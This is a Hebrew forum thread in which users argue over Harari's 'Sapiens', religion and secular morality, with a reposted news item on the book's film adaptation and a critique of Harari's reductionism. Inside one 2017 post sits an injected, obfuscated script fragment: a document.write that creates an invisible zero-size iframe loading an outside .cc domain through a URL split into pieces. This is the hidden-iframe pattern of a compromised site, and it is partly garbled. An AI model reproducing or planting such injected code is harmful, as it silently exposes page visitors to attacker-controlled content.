בית פורומים עצור כאן חושבים

"קיצור תולדות האנושות" מאת הררי: ביקורת פילוסופית

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-10/9/2017 08:40 לינק ישיר 

זה שהוא לא מכיר את הדת (ובכלל לא מכיר דברים שהוא מדבר עליהם) זו בעיה אחרת. אבל כאמור גם על החילוניות הוא לא מדבר כפי שהיא ואם תקרא תראה שהוא גם לא מדבר על הדת כפי שהיא. זה וויכוח מגוחך. פשוט צריך לקרוא.

אגב, נדמה לי שאתה לא מאלה שכותבים את כל שמות הרבנים בלי 'הרב'. במה זכה הרב שרקי שאתה משמיט את תוארו?



דדווח על תוכן פוגעני

מחובר
נשלח ב-12/9/2017 18:06 לינק ישיר 

מיימוני כתב:
אפרים בן

איך ההערה שלך שייכת לנושא? האם אתה מבקש לטעון שלא יתכן מוסר עצמאי לצד דת? והמקור לכך הוא ניטשה?


ההערה שלי  הובאה בתגובה  למה שטען אחד מחכמי הפורום כאילו הררי לא מבין בפילוסופיה כי : "משום מה הוא סבור שהאמונה באי קיומו של אל אמורה לגרור איזה שהוא ערך" ועל זה עניתי שניטשה,שהבין דבר או שניים בפילוסופיה הכריז על מות האלוהים כתנאי הכרחי למוסר.


 כמדומה שלא זו היתה טענתו של הררי. כלומר, שהררי לא טען שלא יתכן מוסר לצידה של דת. הוא לכאורה טען שבחילונות שלו יש מוסר ומשמע שבדת אין מוסר.


בוודאי שזה נובע מהטענה שלו .(ראה בהמשך מה שכותב אריך פרום)

אם אתה רוצה לבחון את הטענה שלא יתכן מוסר לצידה של דת - וזו טענה הראויה להיבדק, גם משיקולים דתיים - דומה שצריך לפתוח עבורה אשכול.

אבי שגיא פירסם על זה שני ספרים, כללי על הנושא דת ומוסר ואחד שדן בזיקות האפשריות ביניהן בתוך היהדות.

זו דעתו של אבי שגיא. אבל אנחנו דנים בפרופ' הררי.__


< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



ציטוט מויקיפדיה( שהביא ספרן באשכול סמוך) מבהיר למה הדת מתנגשת עם המוסר הטבעי

 "הפסיכולוג אריך פרום[2] מחלק בין שני סוגי מצפון: מצפון מרותי ומצפון הומניסטי.
מצפון מרותי הוא קולו המופנם של בעל המרות החיצוני: ההורה, המנהיג, אנשי הדת, דעת הקהל, שהאדם רוצה להפיק רצונו וירא להמרות את פיו, כאשר עמדתו, תפיסותיו וציוויו של בעל המרות נהפכים לכעין "שוטר פנימי" החי בקרבו של האדם.

מצפון הומניסטי הוא תזכורת של האדם לעצמו, התגובה של האישיות כולה לתפקודה התקין או לחוסר תפקודה. השופט העצמי שבודק כיצד אנו מתפקדים כבני אנוש. הידיעה העצמית של האדם בהצלחתו או כשלונו באמנות החיים.
פרום שדוגל במצפון ההומניסטי מציין כי המצפון המרותי שיותר משיש בו אשמה, יש בו פחד מפני בעל המרות. וכי מצפון מעין זה הוא איננו נקבע על פי השיפוט הערכי של בעל המצפון אלא על פי ציווים ואיסורים של בעל המרות, בין אם הם טובים ובין אם הם רעים, כך שחסיד של היטלר היה חש שהוא פועל על פי צו מצפונו, גם כאשר עשה מעשים נתעבים מבחינה אנושית. בעל מצפון מרותי גם "כרוך תמיד בצורך להעריץ, ונזקק לדמות מופת, בשאיפה לסוג כלשהו של שלמות, ולתליית השלמות הזו בבעל המרות החיצוני (במה שקרוי הטלה, פרוייקציה)".
עוד הוא מציין כי אם כל חטאת במצפון מעין זה הוא ההתקוממות כנגד שלטונו של בעל המרות, ועל כן אי ציות נעשה לחטא החטאים, וציות לטוב שבמידות.

הוא מבדיל בין שני המצפונים בהגדרתו שבעוד המצפון המרותי פועל לטיפוח צייתנו של האדם, נכונותו להקריב את עצמו וטיפוח רגש החובה, המצפון ההומניסטי הוא ביטוי שיש לאדם בעצמו ובשלמותו, ושתכליתו היא יוצרנות ואושר. "


(גם חנה ארנדט הרחיבה על זה בספרה "הבאנאליות של הרוע" שדן בתופעה המסוכנת של סגידה לסמכות.

.



דדווח על תוכן פוגעני

מחובר
נשלח ב-13/9/2017 09:09 לינק ישיר 

הבן אדם לא מסוגל להעלות טיעון אחד שאינו אד הומינם (והוא גם לא מבין לעומק את ה'סמכויות' שהוא מביא), לועג למי שחולק על מי שבעיניו גאון, ובסוף מדבר על הסכנה בסגידה לסמכויות.
לא יודע אם לצחוק או לבכות.



דדווח על תוכן פוגעני

מחובר
נשלח ב-13/9/2017 09:21 לינק ישיר 

יש
אני כבר לא כ"כ מצליח לעקוב אחר הדיון, למי אתה מתייחס?



דדווח על תוכן פוגעני

מחובר
נשלח ב-13/9/2017 20:49 לינק ישיר 

בעל
הרי לך כמה ציטוטים:
"אבל מה כבר הבין ניטשה בפילוסופיה. הוא הרי לא קרא את   טענותיהם החכמות של חכמי  עצכ"ח"
"
ציטוט מויקיפדיה( שהביא ספרן באשכול סמוך) מבהיר למה הדת מתנגשת עם המוסר הטבעי הפסיכולוג אריך פרום[2] מחלק בין שני סוגי מצפון"
"גם
 חנה ארנדט הרחיבה על זה בספרה "הבאנאליות של הרוע" שדן בתופעה המסוכנת של סגידה לסמכות"

מילא חולה צטטת שמביא דברים מקוריים, יש אחד כזה בפורום. גם איתו אי אפשר לדון, אבל הוא לפחות מעשיר את הדיון. אבל מישהו עם ידע דל שמסוגל להפיק כמה הפניות בלי להבין בכלל את הנושא המדובר לעומק עד שהוא עצמו נופל במה שהוא מצר עליו - זה כבר חסר תקנה.



דדווח על תוכן פוגעני

מחובר
נשלח ב-13/9/2017 21:18 לינק ישיר 

יש3 כתב:
בעל
הרי לך כמה ציטוטים:
"אבל מה כבר הבין ניטשה בפילוסופיה. הוא הרי לא קרא את   טענותיהם החכמות של חכמי  עצכ"ח"
"
ציטוט מויקיפדיה( שהביא ספרן באשכול סמוך) מבהיר למה הדת מתנגשת עם המוסר הטבעי הפסיכולוג אריך פרום[2] מחלק בין שני סוגי מצפון"
"גם
 חנה ארנדט הרחיבה על זה בספרה "הבאנאליות של הרוע" שדן בתופעה המסוכנת של סגידה לסמכות"

מילא חולה צטטת שמביא דברים מקוריים, יש אחד כזה בפורום. גם איתו אי אפשר לדון, אבל הוא לפחות מעשיר את הדיון. אבל מישהו עם ידע דל שמסוגל להפיק כמה הפניות בלי להבין בכלל את הנושא המדובר לעומק עד שהוא עצמו נופל במה שהוא מצר עליו - זה כבר חסר תקנה.


זה מה שקורה כאשר אין טענה עניינית להביא.
מי שמדבר על אד הומינם עושה בעצמו אד הומינם בלי להביא טענה עניינית אחת.
.
הגמל לא רואה את דבשתו.


ובנוסף לזה אתה צריך דחוף לעיין במילון כדי להבין מה זה ציטוט.
כל המשפטים שלי שהבאת  לא היו ציטוטים בכלל. 
כל המשפטים שהבאת נכתבו במילים שלי תוך הסתמכות על אילנות גבוהים כמו ניטשה או ארנדט.
זה מה שעושים בכל טיעון רציני וזה לא נקרא ציטוט.




תוקן על ידי אפריםבן ב- 13/09/2017 21:36:03




דדווח על תוכן פוגעני

מחובר
נשלח ב-13/9/2017 21:40 לינק ישיר 

אם אתה מאשים אותי באד הומינם כנראה שאתה לא מבין מה זה (ואין זה מפתיע).
לא ענית על טענותיך כי לא טענת שום דבר. אם תטען יהיה שייך לדבר על מענה. תוכל לנסות לנסח פעם טיעון שלם ובהיר. זה דווקא רעיון לא רע.



דדווח על תוכן פוגעני

מחובר
נשלח ב-13/9/2017 22:01 לינק ישיר 

אתה כנראה לא מבין מה ההבדל בין טיעון שמביא אסמכתאות לבין ציטוט. עוד חוסר הבנה.

אבל אם אתה מתבלבל בין ציטוט לטענה עם אסמכתא הרי תוכל להגיב על הטענה שהבאתי לפני כמה דקות באשכול המקביל העוסק באותו נושא.
(שם לא הזכרתי את המילה ניטשה או ארנדט  אז לא תטעה לחשוב שזה ציטוט.)



דדווח על תוכן פוגעני

מחובר
נשלח ב-13/9/2017 22:14 לינק ישיר 

אשאיר לקוראים להחליט מי המבולבל.
יש להודות שבאשכול שם כתבת טענה, וזה חידוש מרענן. הבעיה היחידה היא שכתבת טענת עובדה שגויה וכבר הגבתי לך שם.



דדווח על תוכן פוגעני

מחובר
נשלח ב-13/9/2017 22:57 לינק ישיר 

וגם אני הגבתי לך שם.
וחוץ מזה לא סתרת את טענתי על  אי ההבנה שלך מה זה ציטוט.

ואם תעשה את ההבחנה תבין שכם באשכול זה הבאתי טענה של ניטשה.
אחזור עליה שוב :
כדי להיות בן אדם הראוי לשם בן אדם צריך קודם כל להרוג את אלוהים. זה התנאי ההכרחי.
ועל הנושא הזה זה הוא כתב מספר ספרים.
(הבהרה חשובה אם במקרה לא פתחת עדיין מילון:
זה לא ציטוט.
זאת טענה של ניטשה)
י



דדווח על תוכן פוגעני

מחובר
נשלח ב-14/9/2017 08:55 לינק ישיר 

זאת טענה ולא טיעון, ולכן אין מה להתייחס אליה. אני חושב אחרת.
הטיעון שלך שם היה (ואתה מוזמן לקרוא אם אתה לא זוכר) שיש לקבל את דברי ניטשה כי הוא חכם יותר מהאנשים כאן. זה כאמור אד הומינם דבילי במיוחד.
בכל אופן, כפי שהסברתי לך באשכול ההוא זה בכלל לא הדיון. הדיון הוא אם לחילוניות יש מוסר משלה באופן חיובי. אפשר לפתוח גם דיון אחר.



דדווח על תוכן פוגעני

מחובר
נשלח ב-11/7/2018 19:12 לינק ישיר 


   

קיצור תולדות האנושות: בקרוב הסרט

אחרי שקטף שבחים בכל העולם, "קיצור תולדות האנושות" יזכה לעיבוד קולנועי. מאחורי הפרויקט החדש עומדים שניים מגדולי יוצרי הקולנוע רידלי סקוט ואסיף קפדיה, שיעבדו יחד עם כותב הספר פרופ' יובל נח הררי. בהודעה משותפת השלושה הכריזו: "מקווים שהסרטים יהוו קריאת השכמה לצופים"
נטעלי שם טוב, החדשות | 

אחרי שרב המכר "קיצור תולדות האנושות" כבש את מצעדי הספרים ברחבי העולם וקצר שבחים רבים, יזכה הספר פרי עטו של הפרופסור יובל נח הררי לעיבוד קולנועי. מי שעומדים מאחורי הפרויקט החדש הם שניים מיוצרי הסרטים המשפיעים של ימינו, רידלי סקוט - שאחראי על "בלייד ראנר" ו"הנוסע השמיני" ואסיף קפדיה זוכה האוסקר. לא הרבה ידוע על העיבוד החדש אך ככל הנראה יחולק הספר לסדרת סרטים.

רוצים לקבל עדכונים נוספים? הצטרפו לפייסבוק רשת

"קיצור תולדות האנושות", שמכר מעל ל-8 מיליון עותקים ברחבי העולם, עוקב אחרי התפתחות המין האנושי מחיתוליו בתקופה הפרהיסטורית, עד ימנו אנו, וחוזה מה יהיה בעתיד. הספר ששווה בקסמיו קוראים רבים, הצית את דמיונם של שני ענקי הקולנוע שהחליטו לשתף פעולה ולעבד אותו ליצירה קולנועית, בתקווה שגם היא תהפוך להצלחה מסחררת. הפרויקט הוא שיתוף פעולה בין חברת ההפקה של רידלי סקוט "Scott Free Production" וחברת ההפקה-" On The Corner Films".

בהודעה שמסרו על העיבוד החדש אמר אסיף קפדיה כי הוא מקווה שהסרטים, כפי שהספר עשה "יהוו קריאת השכמה לצופים לזכור מאיפה הגענו, מי אנחנו ולאן פנינו מועדות". לדברי אסיף קפדיה זו זכות גדולה לעבוד עם השניים בפרויקט הזה: "מהרגע שהתחלתי לקרוא את הספר נשבתי בקסמיו. הוא שינה את נקודת המבט שלי על העולם. אני מקווה שהעיבוד שלנו ישנה גם הוא את נקודת המבט של הצופים".

"במשך שנים קפדיה ואני חיפשנו פרויקט לעבוד עליו יחדיו", סיפר רידלי סקוט, "והספר הזה נראה כמו ההזדמנות המושלמת". לדברי סקוט, מאז שצפה בסרטו הראשון של קפדיה ב-2001 הוא ידע כי הוא רוצה לשתף עימו פעולה.

נח הררי שיקח חלק משמעותי בעיבוד ספרו ליצירה קולנועית, אמר בהודעה המשותפת של השלושה על הפרויקט החדש: "רידלי וקפדיה מהווים שניים ממספרי הסיפורים הטובים ביותר בעולם, אני נרגש לעבוד איתם. אני מקווה שנוכל ליצור שילוב של מדע בדיוני, היסטוריה ודרמה כדי לספר את הסיפור המדהים של המין האנושי".

יצחק יהב, שמייצג את נח הררי ועומד בראש משרדו העולמי, בירך על ההכרזה ואמר: "אנו שמחים מאוד לשתף פעולה עם יוצרי הסרטים הנכבדים האלה. בעזרתם אנחנו מקווים להביא את הרעיונות של הספר לקהלים חדשים באמצעות הקולנוע".






דדווח על תוכן פוגעני

מנותק
נשלח ב-12/11/2018 07:59 לינק ישיר 

בגליון יום ראשון של הנ"י טיימס פורסם ראיון עם Yuval Noah Harari, שכידוע זוכה כיום למעמד של הוגה-על בינלאומי לענייני החיים, היקום וכל השאר. אני כלל לא מזלזל בהררי או בחשיבתו, ובוודאי לא מזלזל בהשפעתו על השיח התרבותי כיום. מה שכן, מימדים שונים בחשיבתו בעייתיים מאוד לדעתי. העיקרי שבהם הוא הרדוקציוניזם החריף שלו.

כך, בראיון הנ"ל (קישור בתגובות) הררי מדבר על קריסת הציביליזציה כולה בתוצאה מטכנולוגיות שיוצאות מעמק הסיליקון. הוא מסביר שהוא אמנם מתעצב מעט מהתרחיש הזה, אבל מזכיר לעצמו ש"בני האדם הם קופי-אדם, ככה הם מתנהגים, הם שימפנזות" וש"כוח העל שלי הוא המנעות מהאחזות".

אלו לדעתי עמדות נוראיות. ראשית, בני אדם אינם שימפנזות. לא רק כי הם מסוגלים לחשוב, לדבר, ליצור אמנות ולבנות ציביליזציות, ושימפנזות לא. אלא בעיקר מפני שהם מסוגלים ליצור מסגרות מוסריות ולבחור בין טוב לרע. הם מסוגלים לערוך רפלקסיה, הם מסוגלים להכריח את עצמם לא לפעול כפי כפי שמתחשק להם לפעול וכן לפעול למען אידיאל עליון כלשהו, הם מסוגלים להיות טובים מאוד והם מסוגלים להיות רשעים מאוד. שימפנזות לא.

אבל זה לא הכל. בני אדם גם מסוגלים להיות מודעים לעצמם. הם מסוגלים להתבונן לתוך נפשם, לנסות להבין את עצמם, לערוך אינטרוספקציה ולחשוב על עצמם, לנתח בתשומת לב את הקורה בתוכם, לפתח מודעות עצמית, לתרגל מדיטציה ולפעמים אפילו לדעת את עצמם. שימפנזות לא. (הן גם לא ממש מסוגלות לפתח כוח-על של המנעות מהאחזות.)

בראיון מוזכרת שוב ושוב העובדה שהררי מתרגל אדוק מאוד של מדיטציה (אם איני טועה, ויפאסנה). הוא משקיע בתרגול שעתיים בכל יום וחודשיים שלמים בכל שנה. נראה שהוא חושב שתרגול מדיטציה הוא דבר טוב. למה אפוא הוא לא מבחין בין בני אדם, שמסוגלים לתרגל מדיטציה, לשימפנזות, שלא מסוגלות? ולמה הוא לא מבחיןן בין הציביליזציה הנוכחית, שמאפשרת למספר חסר תקדים של בני אדם את האפשרות לתרגל מדיטציה לבין חורבן הציביליזציה הנוכחית שלא יאפשר להם?

באמת שלא ברור לי. האדם אינו שימפנזה, וגם אינו "אוסף של אלגוריתמים ביוכימיים", כפי שכתב בספרו השני, 'ההיסטוריה של המחר'. תפיסה כזאת היא רדוקציה מגוחכת, גם אם פופולרית כיום, של האנושיות שלנו. האדם אינו רק מכונה המחפשת יעילות. כולנו יודעים שזה המצב בכל פעם שאנחנו מתעצבנים מעוול שלא קשור אלינו או רוצים "להיות טובים".

גם הררי עצמו חייב לדעת את זה מפני שאלמלא כן היה פורש לביתו ושוקע במדיטציה תמידית. כסף ודאי כבר לא חסר לו. הוא ממשיך לכתוב ולדבר מפני שהוא מונע על ידי אתוס מסויים. להיות מונע מאתוס זה מצויין, וזה גם מבדיל אותנו משימפנזות. פרדוקסלית המשימה שלקח על עצמו הררי היא דווקא לספר לנו שאנחנו לא נבדלים משימפנזות. זה מעציב אותי ואני לא מתכוון לפתח לגבי העניין הזה המנעות מהאחזות.

תמונה יכולה לכלול: ‏‏טקסט‏‏
* rel="async" method="post" data-ft="{"tn":"]"}" action="https://www.facebook.com/ajax/ufi/modify.php" id="u_stream_8_b" style="margin: 0px; padding: 0px;">



דדווח על תוכן פוגעני

מנותק
נשלח ב-23/7/2019 16:56 לינק ישיר 



    https://e.walla.co.il/item/3249083



דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > "קיצור תולדות האנושות" מאת הררי: ביקורת פילוסופית
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
לדף הקודם 1 2 3 ... 12 13 14 סך הכל 14 דפים.